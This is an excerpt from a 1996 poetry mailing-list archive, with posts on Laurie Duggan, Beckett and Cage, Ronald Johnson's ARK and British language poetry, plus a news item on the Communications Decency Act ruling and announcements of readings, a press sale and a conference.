I'm just wondering where you came across Laurie? Have you ever read (or better heard Laurie perform) 'do the modernism'?

just hittin' the keys.....

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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205. **Mark Roberts**
Re: adventures in paradise
Wed 12 Jun 1996

> *Chris, no, Duggan's poem has the pleasant slightly damaged quality of the sestina without the unfortunate insistence on those dopey end words. Whoops! my politics are showing. Here are another six lines of the poem:*

> *I burst a blood vessel below the brain*
> *and spent two months in the Alfred Hospital*
> *reading the complete works of Ian Fleming*
> *which I liked because he could make golf*
> *interesting. Then I read Emile Zola*
> *and started writing D.H. Lawrence imitations*
>
> *in which young men full of spirit flung*
> *themselves down upon the earth and felt it breathe*
> *and everything seemed complete. I wanted*
> *to be a rock star, then a painter,*
> *then a novelist, but I ended up writing poems*
> *late in 1966, misunderstanding T.S. Eliot.*
>
> *What the hell - have twelve lines! You'll note, Chris, a decided Kenneth Koch-influence on that last line. Duggan was I believe a big Scripsi conspirator, and an Otis Rusher as well. Any recent Duggan sightings?*
>
> *Enthusiastically,*
> *Jordan*

I first read Laurie in MAGIC SAM a wonderful magazine put out by Ken Bolton, Anna Couani and others in the late 70s early 80s. (Ken is now editing Otis Rush). Laurie contributed a couple of poems to the first issue of my magazine (P76) - including 'do the modernism'. He remains one of my favourite poets. For a comkplete change of pace try and find a copy of THE ASH RANGE which is a verse history of the east Gippsland area of Victoria

---

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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206. Kevin Killian
Communications Decency Act
Wed 12 Jun 1996

This is Dodie Bellamy. I received the following from another list I'm subscribed to. It's not about poetics, but I thought it might be of interest.

PHILADELPHIA (Reuter) -- In a ground-breaking decision on free-speech rights over the Internet, a special U.S court panel blocked as unconstitutional a new federal law prohibiting indecency on computer networks.

The three-judge panel issued Wednesday a preliminarly injunction blocking enforcement of portions of the Communications Decency Act, signed by President Clinton Feb. 8, which prohibit the distribution to minors of indecent or "patently offensive" materials over computer networks.

The court let stand prohibitions against obscenity and child pornography, types of speech that are not constitutionally protected and were not challenged by the act's opponents.

"The Internet may fairly be regarded as a never-ending worldwide conversation," U.S. District Judge Stewart Dalzell, a member of the panel, said in his opinion accompanying the decision.

"The government may not, through the CDA, interrupt that conversation. As the most participatory form of mass speech yet developed, the Internet deserves the highest protection from governmental intrusion," he said.

Also on the panel were U.S. District Court Judge Ronald Buckwalter and Dolores Sloviter, chief justice of the Third Circuit U.S. Court of Appeals.

In its legal conclusion, the court said the blocked portions of the act were unconstitutional on their face.

The injunction was issued in response to a lawsuit against the U.S. Justice Department challenging the act. The challenge was filed by the American Civil Liberties Union and groups representing libraries, publishers and the computer online industry.

A Justice Department spokesman said the agency had no immediate comment on the ruling.

The ruling sets the stage either for a trial on whether the act should be permanently blocked, or a direct appeal of the preliminary injunction to the U.S. Supreme Court under expedited provisions written into it.

"The court has reaffirmed what our founders 200 years ago bequeathed as our greatest liberty, and that's free speech," said Stefan Presser, legal director of the ACLU of Pennsylvania, which filed the original suit.

Bruce Taylor, chief counsel for the National Law Center for Children and Families, which supports the act, said of the ruling, "I don't consider this a setback."

The act has already heightened awareness of content unsuitable for minors on the Internet, and prompted development of technology that will make it possible to screen and block material for suitability for minors, he said.

Such technology will undermine arguments by the act's opponents that it is impossible to enforce, he said.

In addition, he said, state laws already on the books can also be used. "The states can do what this ruling said the federal government can't do yet," he said.

The ACLU immediately posted the court's opinion and order, which total 177 pages, on its World Wide Web site, said Christopher Hansen, attorney for the national ACLU. The address of the site is http://www.aclu.org.

In the event of a government appeal, Hansen said, "We'll certainly defend the conclusion vigorously."

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207. Aldon L. Nielsen
Re: summary reading
Wed 12 Jun 1996

OOOPS! I'm actually getting to Maine Tues. night, as my panel is the next day -- will also be in gang reading Friday night -- maybe we should all wear colors!

and today's reading:

Juan Felipe Herrera -- _The Roots of a Thousand Embraces_ Manic D Press

available from SPD -- it's great --

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208. Chris Stroffolino
Re: what matter who's speaking
Wed 12 Jun 1996

Hey Rod--- Is BRECHT part of the B-effect? It would seem that Bernstein in this schema would be more a CHARLES (more C than B) in terms of darkness, while Perelman would be more a BOB (B)--I've been thinking about the BECKETT connection with AKA (who brought that up?). It seems that AKA is less, er, "stream of consciousness" though than more Bruce Andrews-like in the way it reads. By Andrews like I mean, the emphasis is on the sentence (not emotional) rather than paragraph. Beckett's emphasis seems more on the accumulative rush effect. (again, i'm speaking primarily of the trilogy era Beckett... and I haven't read AKA in years....so I think I know what I'm going to read today.....cs

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209. **Charles Alexander**
readings/twin cities
Wed 12 Jun 1996

A POETRY & MULTIMEDIA READING BY SPENCER SELBY & ERIK BELGUM

sponsored by Cross-Cultural Poetics and the College of St. Catherine-Minneapolis

SATURDAY, JUNE 15
ROOM 250
COLLEGE OF
ST. CATHERINE
MINNEAPOLIS
1:00 p.m.

SPENCER SELBY Spencer Selby's books of poetry include Instar (SINK Press, 1989), Barricade (Paradigm Press, 1990), House of Before (Potes & Poets Press, 1991), Sound Off (Detour Press, 1993), and No Island (Drogue Press, 1995). His visual poetry includes Stigma (Score, 1990), and Malleable Cast (Generator, 1995). In the middle 1980's Spencer Selby began SINK Press in San Francisco, where he still resides, and he coordinated the Canessa Park Reading Series from 1987 - 1993. In 1993 Selby created The List of Experimental Poetry/Art Magazines, a noncopyrighted, freely circulating document that tracks over 250 publications around the world.

ERIK BELGUM Erik Belgum's experimental fiction has appeared in over two dozen journals since 1985. Most recently he has been seen in literary journals such as Avec, Chicago Review, Red Bass, Central Park, Black Ice, and Caliban. His fiction will appear this year in an anthology of experimental fiction from the publishers of Avec, as well as in upcoming issues of Central Park and Asylum Annual. In his Dictionary of the Avant-Gardes (1993), Richard Kostelanetz called Belgum one of "the best of the younger writers of fiction, let alone experimental fiction." Belgum's literary/audio/soundtext works have been played throughout the United States, in concert, on radio, and also recently on the CD audio magazine Aerial. Recent commissions include spoken word pieces commissioned by the Dale Warland Singers through a Jerome Foundation grant and another by Corn Palace Productions performed at the Southern Theater in Minneapolis.

This reading is FREE and is held at the College of St.
Catherine-Minneapolis, 601 25th Avenue South (two blocks north of the 25th Avenue/Riverside intersection).

Next Reading sponsored by Cross-Cultural Poetics:
June 29, 1:00 pm, Room 250, College of St. Catherine-Minneapolis

DAN FEATHERSTON
&
CHARLES ALEXANDER

For further information about Cross-Cultural Poetics readings and publications, please contact Mark Nowak at [redacted]. Or e-mail him at [redacted]

I hope anyone on the poetics list visiting or living near here will come. I'll post more before the June 29th reading.

charles alexander
chax press
[redacted]

↑ Index

210. Jonathan A Levin
clamdiggers (fwd)
Wed 12 Jun 1996

This one's from Marisa Januzzi, whose machine apparently needs to be fed. JL.

---------- Forwarded message ----------

It's Maine, so we're supposed to wear clam diggers, right Kevin? (Dodie-- can I answer the post in person!?) If I ever finish my grades I will be in Orono too, Kerouac paper, time recently unsettled & rescheduled for undetermined reasons.

(Anyone looking for summer reading-- MEXICO CITY BLUES, SUBTERRANEANS, TRISTESSA, OLD ANGEL MIDNIGHT, and VSIONS OF GERARD... are all truly great, and this from someone who once couldn't read Kerouac for sexism...)

Maybe we should designate a poetics reef & then all go meet on it?

Re: LeSueur-- some of her stuff is available through SPD, including the pamphlets (just got "Women on the Breadlines"). I'd love to hear more about her being alive.

Does anyone know how much of Ronald Johnson's ARK has been collected &where, besides PRIMARY TROUBLE? (&are his cookbooks as rich?)

Also, has anyone else read Emily Holms Coleman (esp. THE SHUTTER OF SNOW)?

Ciao, & drowning in work, and on notice that my server is down after 10AM tomorrow until Orono..... bleh!

--Marisa Januzzi

↑ Index

211. Jonathan Brannen
Standing Stones Press Special Offer
Wed 12 Jun 1996

SPECIAL OFFER TO POETICS SUBSCRIBER

Standing Stones Press Publications

Tom Ahern, _Skippy Taggart's Wife_
Curt Anderson, _Umbra_
Dennis Barone, _The Masque Resumed_
Jonathan Brannen, _Crunching Numbers_
Gerald Burns, _Probability and Fuzzy Dice_
Cydney Chadwick, _The Gift Horse's Mouth_ o.p.
Mark DuCharme, _Contractng Scale-
Peter Ganick, _IT OR S/HE_
Geof Huth, _To a Small Stream of Water (or Ditch)_
H.T. (Heather Thomas), _Circus Freex_
Stephen-Paul Martin, _Crisis of Representation_
Michelle Murphy, _The Tongue in its Shelf_
Sheila E. Murphy, _Wind Topography_
John Perlman, _Anacoustic_
Susan M. Schultz, _Earthquake Dreams_
Mark Wallace, _In Case of Damage to Life, Limb or
This Elevator_ (forthcoming, June 1996)

All publications are $4.00 or any four for $12.00
(postage included except on foreign orders).

Also available from Standing Stones:
Jonathan Brannen, Thing Is The Anagram Of Night (Texture Press, 1996), $6.00
nothing doing never again (Score Press, 1996), $8.00

SPECIAL OFFER TO POETICS SUBSCRIBERS: $3.00 each or FOUR FOR $10.00 !!! Thing Is The Anagram Of Night (Texture Press, 1996), $4.00 and nothing doing never again (Score Press, 1996), $5.00.

Plus a free copy of Gerald Burns Probability and Fuzzy Dice (upon request and while supplies last) with any order !!! Offer good until July 15, 1996. Very limited quanities of some titles.

Order from [redacted]
(I'll include the bill when I ship the order) or from:

Standing Stones Press
7 Circle Pines
Morris, MN 56267

↑ Index

212. **Jordan Davis**
against summer reading
Wed 12 Jun 1996

I am leaning to the left against my summer reading:
a very large (1000 pages?) blank book, extraordinarily
popular delusions, The Life of Johnson, etc, and
what good poems it's making me flee to read--Frank
O'Hara's poem up in the subway, contrarian and
personist in the best of spirits, Karen Volkman's
national poetry series book _Crash's Law_
the presense of which can only mean
that Juliana Spahr's NPS book is preparing
to knock New York City over like the cardboard diorama
we know it is, oh and god! Laura Moriarty's
book _Symmetry_ thank you Rod! for sending it -
I've never seen anybody get knocked out the way
it happens all the time on tv, how does anybody
get any reading done when they own a tv,
someone like Melanie Neilson makes a poem
and the credit card offers, are they nefarious?
Do you find out about yourself when you consume
the endless electrons? It's something you can
turn on, the Baudelaire of you, but when you
find out the 'off' switch is symbolic at best,
a surrealist at most, a batter in a cage,
is she bored? Not Melanie but
the manic imperative, the one up
the street we'll have to go visit when they get
here, deferring to the expert light
of some characters we know, Ringo, Paul, John,
Morton, etc. That ought to be something exciting.

↑ Index

213. Ken Edwards

post language poetry, post modernist poetry, fakes

Wed 12 Jun 1996

Ira Lightman wrote:
Ken, could you detail a few of the poets
here, as you say, who engage intelligently with
langpo, which books or poems?

(ie in the UK)

Well, first among them I would place Allen Fisher. He and I have had numerous conversations about langpo type poets since, I think, the early 1980s, and I'm indebted to him and to his vast book collection in this respect.

Cris Cheek (hi Cris!) has had strong transatlantic links for many years, including with langpo.

Tom Raworth is notoriously US- and langpo-friendly -- one of the most open and generous souls around. Maybe one of the few Brits who has actually influenced the langpo scene at source.

Wendy Mulford has corresponded for many years with the grouping of poets around Kathleen Fraser and Susan Gevirtz's How(ever) and is well acquainted with, particularly, the women in the langpo camp and around it.

Maggie O'Sullivan has collaborated on a book with Bruce Andrews and reads avidly in and out of langpo as far as I know. I'm particularly grateful to her for introducing me to the work of current Canadian "experimental" women poets.

A number of the poets associated with the London SubVoicive/Writers Forum crowd are knowledgeable about it. Among these I'd mention Adrian Clarke and Robert Sheppard, who edited the Potes & Poets anthology of London poets "Floating Capital" -- also Johan de Wit, Ulli Freer, Lawrence Upton, and of course Bob Cobbing, also one of the least prejudiced guys around, who published that Maggie/Bruce collaboration.

Peter Middleton is clearly keen on that stuff. So is Miles Champion, I'd say.

Finally Robert Hampson and I were probably the first to publish some of the Americans, even before they were labelled "language", back in the 1970s. Lyn Hejinian, Alan Davies and James Sherry made appearances in our long-dead magazine Alembic.

Sorry to go on. Of course, this list isn't exhaustive. As for "which books or poems", well I wouldn't presume to trace influences that closely -- you'll have to decide.

↑ Index

214. Chris Stroffolino
Re: clamdiggers (fwd)
Wed 12 Jun 1996

Well--someone told me one should pack a lot of BUG SPRAY for MAINE...
so I might hit someone up for this.
Didn't Emerson say something like
"If one goes for a walk in the woods, one must feed mosquitos"
(which I translate as):
"if one goes for a walk in a city, one must feed quarters to
payphones"----cs

↑ Index

215. Herb Levy
Re: clamdiggers (fwd)
Wed 12 Jun 1996

> *Does anyone know how much of Ronald Johnson's ARK has been collected &where, besides PRIMARY TROUBLE? (&are his cookbooks as rich?)*

Some large assemblage of Ark (perhaps all of it) is due imminently from University of New Mexico Press. The cook books are great.

Herb Levy
[redacted]

↑ Index

216. Chris Stroffolino
Re: post language poetry, post modernist poetry, fakes
Wed 12 Jun 1996

Dear ken Edwards--- Could you elaborate on Miles Champion. The little I've seen is interesting and it was good to see your willingness to include him, while Ira, I think, seemed less to.....cs

↑ Index

217. Charles Alexander
Re: clamdiggers (fwd)
Wed 12 Jun 1996

> *Does anyone know how much of Ronald Johnson's ARK has been collected &where, besides PRIMARY TROUBLE? (&are his cookbooks as rich?)*

I notice in the new Small Press Distribution Catalog that Gus Blaisdell's Living Batch Press in Albuquerque has brought out the whole (I believe) of Ronald

Johnson's ARK. So contact SPD at 1814 San Pablo Ave., Berkeley, CA 94702. And on that SPD catalog check out the drawings of writers on the cover, done by Gary Sullivan. High groove factor, as Gary might say himself.

Ronald Johnson's first southwestern cookbook is a classic. I know that there is a more recent edition of that, and others, but I don't know about them.

↑ Index

218. Charles Alexander
Re: clamdiggers (fwd)
Wed 12 Jun 1996

> *Does anyone know how much of Ronald Johnson's ARK has been collected &where, besides PRIMARY TROUBLE? (&are his cookbooks as rich?)*
>
> *Some large assemblage of Ark (perhaps all of it) is due imminently from University of New Mexico Press. The cook books are great.*

apologies for repeating myself, but I wanted to make it clear. It's not the University of New Mexico Press, it's a new press, LIVING BATCH BOOKS (many of you I am sure know the long-lived Living Batch Bookstore in Albuquerque), run by Gus Blaisdell, which has, according to the announcement in the Small Press Distribution Spring 1996 catalog which just arrived, "just published one of the extraordinary long poems of the past quarter-century in Ronald Johnson's ARK. Early versions of Johnson's great, elegant long poem are all out-of-print. This new book presents the full poem for the first time, a true heir to Louis Zukofsky's "A," Basil Bunting's BRIGGFLATTS, George oppen's and Lorine Niedecker's longer series, and Robert Duncan's PASSAGES and STRUCTURE OF RIME, but with a music and architecture unique in American poetry."

And more complete SPD ordering info:

1814 San Pablo Avenue
Berkeley, CA 94702-1624

tel. [redacted]
fax [redacted]

↑ Index

219. Herb Levy
(no subject)
Wed 12 Jun 1996

Charles,

I'm sure you're right.

The SPD catalog hasn't shown up here yet & when I checked locally after seeing a reference to Ark somewhere (?), the book store came up with it as being from UofNM Pr.

In any case, I'm glad I don't have to wait much longer to read it all.

Herb Levy
[redacted]

↑ Index

220. Romana Christina Huk
Alternative Accommodations for Assembling Alternatives
Wed 12 Jun 1996

For those who wish to attend _Assembling Alternatives: An International Poetry Conference/Festival_ (29 Aug.- 2 Sept.) but can't afford the price of accommodation and/or meals, new options have been created that allow for use of a local campsite or, for a more limited number, guest housing with faculty and students in the area. Those who intend to camp and not take meals with the group will only pay $15.00 per day ($60.00 for the whole event); this includes transportation to and from the conference site, and coffee/tea-breaks during the days, but does not include the costs required by the campsite itself. They have given us rates at approx. $18.00 per night per "couple" in a tent (it pays to double-up with someone); the rental of any equipment needed is up to campers. Further details can be retrieved by calling the campsite directly; do so by asking about the "safari site"(!) reserved by Romana Huk at UNH for the poetry conference/festival on the above dates: Lamprey River Campground, 16 Campground Road, LEE, NH 03824; tel.: [redacted]. The grounds have full Facilities (toilets, showers). Tents, however, are hard to find for rent in this area, but Eastern Mountain Sports in the local Fox Run Mall ([redacted]) reports to have enough tents for approx. 30 people camping in sets of two and three; they go for between $25.00 and $30.00 for the full stint. To reserve any of these you must act _soon_.

Those who intend to pay the full $270.00 commuter fee for taking all meals with the group for these 5 days and 4 nights will be up first for placement in people's homes (in order to help reduce their overall costs and relieve our volunteer hosts' anxieties about feeding, etc.).

Anyone interested in either new option must still go through the University Conferences Office to secure a seat at the conference itself (which is very important given our limited space): Univ. Conferences Office, Univ. of NH, 11 Brook Way, Room 121, Durham, NH 03824-3509; tel.: [redacted]; fax: [redacted]. If you wish to pay the commuter fee to take all meals with the group, you will need a registration form from the Office. Those who hope to be

placed in guest housing must contact myself, Romana Huk, conference organizer, as soon as possible; I can be reached before 27 June either at this e-mail address or at UNH ([redacted]). After that I leave for six weeks in England, cut off from e-mail, I think (though I'll keep you posted). I can be reached either through the Conferences Office (who can in a pinch fax or call me) or, after the 1st of July, I can be contacted by phoning Gonville & Caius (pronounced "Keyes") College, Cambridge, England (44 1223 332400) and leaving your phone number in a message for me to call you.

The conference/festival is developing beautifully despite funding woes on all our parts. Its schedule begins at 2:00 with registration on the 29th of August;at that time the book exhibit/sales area will be getting set up, and the Great Bay Room (our largest) will, I hope, be hung and otherwise transformed by artworks made in response to these poetries, if we can get artists and the New England Center staff to agree on what can be done to the walls. At 5:00 an informal reception will lead into dinner at 6:00, after which we'll have our first night of performances in the Great Bay Room. I'll be finalizing the readings in the next several days; several of the most well-known will be on that night so it's not one to be missed. The readings will be free and open to the public.

Remember that although our focus is the U.S., U.K., Canada and Ireland, other poetries will be represented and become part of the conversation.

Among those thus far scheduled to give talks or performances are (and this can't be a full list, so I'm about to choose randomly): Charles Bernstein, Karen Mac Cormack, Sean O'hUigin, Tom Raworth, Carla Harryman, Nicole Brossard, Maurice Scully, Allen Fisher, Rae Armantrout, Steve McCaffery, Maggie O'Sullivan, Denise Riley, Joan Retallack, Peter Quartermain, Marjorie Perloff, Peter Middleton, Bob Perelman, Juliana Spahr, Jeff Derksen, Peter Gizzi, Miles Champion, Caroline Bergvall, cris cheek, Catherine Walsh, Steve Evans, Miriam Nichols, Alan Golding, Trevor Joyce, Kathleen Fraser, Rod Mengham, Barrett Watten, Abigail Child, Paul Dutton, Lee Ann Brown, Ken Edwards, John Cayley, Jim Rosenberg, Steve Benson, Wendy Mulford, Leslie Scalapino, Robert Sheppard, Fiona Templeton, Loss Glazier, Louis Cabri, Andrew Levy, Philip Mead, John Kinsella, Barbara Godard, David Bromige, Hazel Smith, Susan Schultz, John Wilkinson, Mary Margaret Sloan, Nicholas Zurbrugg, Billy Mills, Linda Kinnahan, Lynn Keller, Geoffrey Squires, Keith Tuma, Shamoon Zamir, Brian Lynch, Christian Bok, Charles Altieri, David Annwn, Tony Lopez, Donald Wesling, Burton Hatlen, and more.

In general outline, the conversation begins on Friday with discussion of differing contexts and relationships of these poetries to institutions in those contexts. On Saturday issues of poetic politics and imaginings of the subject arise, as well as the relationship between these poetries and their respective "mainstreams";

key problems of gendered and racial difference arise as well. On Sunday new forms of electronic and performance work enter in, and on Monday, our last day, almost all of it comes back in talk about where we stand at the "millennium" (or don't). On Sunday night we take a break from UNH's confines to have our dinner and readings in Portsmouth, the area's cultural center on the water. This will of course happen as part of the full conference fee paid by those taking meals with the group; transportation will be provided for all, even those not eating with the rest.

I hope that's enough information at the moment for those interested. I'm terribly sorry to have to take off for six weeks: but again, after the 27th you should be able to either fetch the details you need from the Conferences Office or reach me overseas. My address there, if you don't want to phone, will be : Romana Huk, Director, UNH Summer Program, Gonville & Caius College, Cambridge CB2 1TA, England. It takes about a week for letters to make it over. Remember to include your phone number in correspondence.

And spread the news about the book exhibit! All presses are welcome to contribute.

Wishing good summers to all of you,

Romana Huk

↑ Index

221. Rod Smith
Re: clamdiggers (fwd)
Wed 12 Jun 1996

Johnson's Ark's out just this week-- it's paperback, $25.00. It's not published by New Mexico, but distributed by them.

Rod

↑ Index

222. Kevin Killian
SPT--oportunity knocks
Thu 13 Jun 1996

This is Dodie Bellamy.

I'm putting together Small Press Traffic's reading series for the coming year, and I am open to suggestions.

I'm planning to continue our Small Press Partners reading series in which we feature readers from targeted small presses. As part of this series books from featured presses are reviewed in _Traffic_, the SPT newsletter. The next issue

of _Traffic_, which will be out in August, will feature reviews of O-Books, Kelsey St., and Hard Press books. We are particularly interested in small presses which have published writing by minority writers working in nontraditional forms. Any presses interested in being considered for this series should contact me.

Now that SPT is more firmly settled at New College, I want to return to SPT's long-time (22 year) committment to promoting emerging writers. I, for one, gave my first reading at Small Press Traffic. I'm considering an Introductions reading series in which we pair a more established writer with an up-and-coming writer. Also, I'm planning to re-establish our more intimate Poetry and Prose series, which will serve two purposes: (1) to provide readings for "younger" writers (younger not necessarily referring to age) and (2) to provide a space for arranging more last-minute readings for writers who happen to be coming to San Francisco. A number of writers from out of the area contacted Kevin and me this past year, wanting readings, and, we usually set them up with readings at other locations. Now we will be able to offer them readings at New College as well.

So, any writers planning trips to the West Coast this coming year, and who are interested in a reading while you're here, backchannel me or call SPT: 415/ [redacted].

Thanks.

Dodie

↑ Index

223. Tom Mandel
reading / listening to music
Thu 13 Jun 1996

Has anyone read the Austrian writer Thomas Bernhard?
He's pretty great; I keep seeing his books on remainder tables in
english editions that must have their last resort in nw dc.

he is a great writer, really; a destructive constructivist. In his will he forbade any further works of his to be published or printed in Austria or that his estate accept any prizes or honors therefrom -- those who know me will know that to be good enough for me!

Music: I suppose everyone on this list knows the work of john zorn, but I've been listening to his series of CDs with his band, Masada, and they are great. esp. Gimel.

Pierre Joris's list of mostly european music was a gift from this list. In return, let me ask whether -- assuming to head one's ears in a different direction from Cage for a moment -- anyone knows the music of Bohuslav Martinu? Or the recently revived music of Erwin Schulhoff?

I'm preaching to the choir? Let me continue by assuming out loud that many among you know the opera "The Cunning Little Vixen" by Janacek?

The Schubert piano trios? Totally great is Kurtag's "Hommage a R. Sch." (Robert Schumann) collected with some other wonderful chamber pieces of his and of Schumann on ECM 78118-21508-2 (why does it take so many numbers?).

Also Ulstvoldskaya's complete piano sonatas played by Frank Denyer on Conifer 75605 51262 2

Music for clarinet by poulenc or buddy defranco is good too.

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

224. cris cheek

Re: Alternative Accommodations for Assembling Alternatives

Thu 13 Jun 1996

Hi Romana, well this sounds like the option I'm dying for.

Can I pay for the food, therefore eat with everyone and get into the guest housing please?

If you can take me onto that it would help a great deal.

If it's a yes, do I still need to register, being one of your advertised delegates? Do I need to call them. Sorry, but as an indieer-outsider it's a touch confusing. Not your information, but our responsibilities.

Did you get my posts? WOuld you rather I talked about the range e-poetry work? Got the feeling it wasn't what you wanted (although I'b be likely to use slides / computer voice ala Hawking in my intervention) tant pis.

Really looking forward to seeing you.

love and love
cris

↑ Index

225. **Stephen Barker**

Re: POETICS Digest - 11 Jun 1996 to 12 Jun 1996

Thu 13 Jun 1996

Please de-subscribe me from the list. Nothing personal, just too much. SB

At 12:00 AM 6/13/96 -0400, you wrote:
>There are 26 messages totalling 1015 lines in this issue.
>
>Topics of the day:
>
> 1. what matter who's speaking (6)
> 2. various cages - newspaper reviews
> 3. various cages - Europera 5
> 4. various cages
> 5. Miscellaneous stuff (2)
> 6. poetry reading
> 7. summary reading
> 8. against summer reading
> 9. readings/twin cities
> 10. clamdiggers (fwd) (5)
> 11. Standing Stones Press Special Offer
> 12. post language poetry, post modernist poetry, fakes (2)
> 13. Communications Decency Act
> 14. <No subject given>
> 15. Alternative Accommodations for Assembling Alternatives
>
>----------
>
>Date: Wed, 12 Jun 1996 00:00:32 -0400
>From: Rod Smith <[redacted]>
>Subject: Re: what matter who's speaking
>
>Tim wrote--
>>Cage's work is much more detached: there was little/no content to worry
>>about. With Beckett, there was always some amount of content, and pretty
>>damn depressing (& exciting...) content at that. At the same time, I
>>wonder if the lack of content isn't ultimately more depressing.
>
>Don't know what you mean by lacking content. How cld it be? Do you mean
>narrative? Also don't understand "playing in lack of selfhood." How cld it

>be? or not be?
>
>Rod
>
>------------------------------
>
>Date: Tue, 11 Jun 1996 23:45:51 +0000
>From: Joseph Zitt <[redacted]>
>Subject: Re: what matter who's speaking
>
>On 11 Jun 96 at 22:50, Tim wood wrote:
>
>> Cage's work is much more detached: there was little/no content to worry
>> about. With Beckett, there was always some amount of content, and pretty
>> damn depressing (& exciting...) content at that. At the same time, I
>> wonder if the lack of content isn't ultimately more depressing.
>
>Well, not for me. I love Beckett (have several settings of Beckett
>texts for voice and whatever sitting in drawers somewhere), but I
>don't find the "detached" Cage depressing at all. But then, I've
>never been much of a content fan (I get this image of the content
>hitting the...), and I find a lot of Beckett quite funny.
>
>(I get this goofy image of someone a hundred years down the line
>doing a paper viewing the Thoreau-based pieces that you and I are
>writing for Question Authority, The in the light of our respective
>views of Beckett and Cage... Maybe we gotta work Satie in somehow.)
>---------1---------1---------1---------1---------1---------1----------
>|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
>||/ Organizer, SILENCE: The John Cage Mailing List \||
>|/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|
>
>------------------------------
>
>Date: Wed, 12 Jun 1996 17:16:52 GMT+1200
>From: wystan <[redacted]>
>Subject: Re: what matter who's speaking
>
>Dear Rod,
> Good posts. Your mention of Johns reminds me of the
>Beckett/Johns collaboration: FOIRADES/FIZZLES. Johns who is clearly
>creatively comfortable with both Cage and Beckett, can serves as a

>useful bridge figure here. Since for all three what content is is a
>question, it is not useful to compare them on the basis of how much any
>one of them has of it. Although, it is useful to see how putting the
>question is different depending on the art form in which it is put.
>And pessimism/optimism aside, the main thing is that putting content in
>question is a means of restoring the authority of the creative.
>... leastways it did that for me.
> Wystan
>
>----------
>
>Date: Tue, 11 Jun 1996 23:38:25 -0700
>From: Herb Levy <[redacted]>
>Subject: Re: what matter who's speaking
>
>I don't know of any direct connection between Cage's use of silence/nothing
>& Beckett's, but there is a direct connection between Beckett & Morton
>Feldman, who has earlier come up in connection with Cage.
>
>One of Beckett's last texts was "Neither" written specifically for
>Feldman's opera of the same name & in gratitutde for this text, one of
>Feldman's later pieces, for chamber orchestra, was dedicated, and titled,
>"For Samuel Beckett."
>
>>Regarding what people are reading, I've been going through Beckett's trilogy
>>(Molloy, Malone Dies (I'm on this), and The Unnameable), and I was
>>curious to see what sort of a legacy people think that Beckett's had upon
>>contemporary writing. Particularly, I was struck by the way that "silence" and
>>"nothing" are such central terms at about the same time for Cage and
>>Beckett, but Cage seems to have mattered a lot more for querzblatian
>>types--am I wrong? If not, is the reason something like, they both
>>intuited the impossibility of big-S Selfhood, but what was an opportunity
>>for Cage was an intolerable threat for Beckett, and so he seems
>>rear-guard? Or were they talking about totally different things under the
>>same names?
>>It's fascinating to me how liminal Beckett seems--both totally
>>constructed and always seemingly on the verge of disintegration. But
>>does the construction belie the desperation? Or vice versa?
>>
>>Thanks,

>>John
>
>
>Herb Levy
>[redacted]
>
>----------
>
>Date: Wed, 12 Jun 1996 02:39:04 -0400
>From: Charles Smith <[redacted]>
>Subject: Re: what matter who's speaking
>
>as to: "I was
>curious to see what sort of a legacy people think that Beckett's had upon
>contemporary writing. "
>
>For one, it's hard for me to imagine the writing of Clark Coolidge without
>the example & explorations of Beckett.
>
>Charles Smith
>
>----------
>
>Date: Wed, 12 Jun 1996 00:24:50 -0700
>From: Herb Levy <[redacted]>
>Subject: Re: various cages - newspaper reviews
>
>I have a lot of different things to say in response to the ongoing
>discussion of Cage here. I've split my comments on the Cage discussion
>into several parts, cause this one got to be pretty long. It's about the
>value of newspaper reviews.
>
>The following is based not only on my own twelve years producing and
>presenting concerts of post-Cageian (wait, I think there were two concerts
>which included works by Cage, so they weren't all literally post-Cageian)
>new music, but also on my serving as board member of the now defunct New
>Music America festival for six or seven years & on my reading of the press
>kits of countless composers and performers of new music, dance, etc. as
>well.
>
>Also this applies most particularly to the situation in the United States,
>but in my limited experience it doesn;t seem to be too different in much of

>the developed world.
>
>Clearly the content, tone, etc. of Page's review were abominable, but it
>was a review in a daily paper. It isn't an academic or artistic critique
>of Cage, it's a newspaper review & the rules are very, very different.
>Newspaper reviews don't really mean anything, it's simply not worth the
>trouble to take them seriously.
>
>I don't think that experimental writers are used to dealing with newspaper
>reviews very often, so I guess I can understand wanting to treat it as
>serious criticism, but it's simply absurd to do so. Newspapers don't carry
>arts criticism, they have entertainment reviews. If the fact that
>sometimes these reviews of entertainment are about events that you consider
>art confuses you, this is your problem & not the problem of the newspaper.
>
>
>No one (except the uncle who lives in the town in which you are unlikely
>enough to be reviewed & he just wants to know why you aren't calling your
>parents more often anyway) remembers newspaper reviews, they are strictly
>filler that is only useful to the artist if the information about any
>future events, recordings or publiations is accurate.
>
>Particularly (but not exclusively) when they are about "avant garde" work,
>EVEN when the review is positive, a newspaper review is almost always just
>as full of errors of fact as when the review is negative. In virtually all
>instances where a review is not incorrect, it has been cribbed from the
>press release & does not reflect the thinking of the reviewer.
>
>People who write reviews of the performing arts for newspapers, many of
>whom are great people and good writers, are almost never specialists in
>"experimental" work. Even in the rare cases in which they are familiar
>with this kind of art, they were hired to write about mainstream movies or
>classical music or best sellers. So you frequently read reviews of jazz
>concerts by someone who knows about painting, reviews of paintings by
>former sports writers, reviews of theater by someone who knows about
>classical music, etc.
>
>That's the way it is in the newspaper world. The idea is that anyone who
>is a journalist can write about anything, because they are trained to cover
>the five W's before the deadline.
>
>Also, in this climate, writers who are supportive of unusual kinds of

>events are often seen as partisan, and in the wonderful world of
>journalistic ethics, that often means that they are not objective enough to
>review something.
>
>Anyway, editors will rarely assign reviews of "experimental" work unless
>the performance is running for more than one night (as a kind of consumer
>report for those who might want to go after the opening night) & the editor
>usually assumes (usually correctly) that most of the "regular" people who
>read his paper would think that this event was a pile of crap, anyway.
>
>&, even if an experimental event is running for more than one night, an
>editor will usually only assign a review of work like this if 1) it is
>being presented by an organization he cannot otherwise ignore, 2) if there
>are no other arts events that week for a salaried reporter to cover or, 3)
>there was a preview of the event in a competing paper that he can't ignore.
>
>
>Is this depressing enough yet?
>
>I don't know of an equivalent resource for Cage, so let me suggest that
>someone go to the Merce Cunningham Dance Company Web site
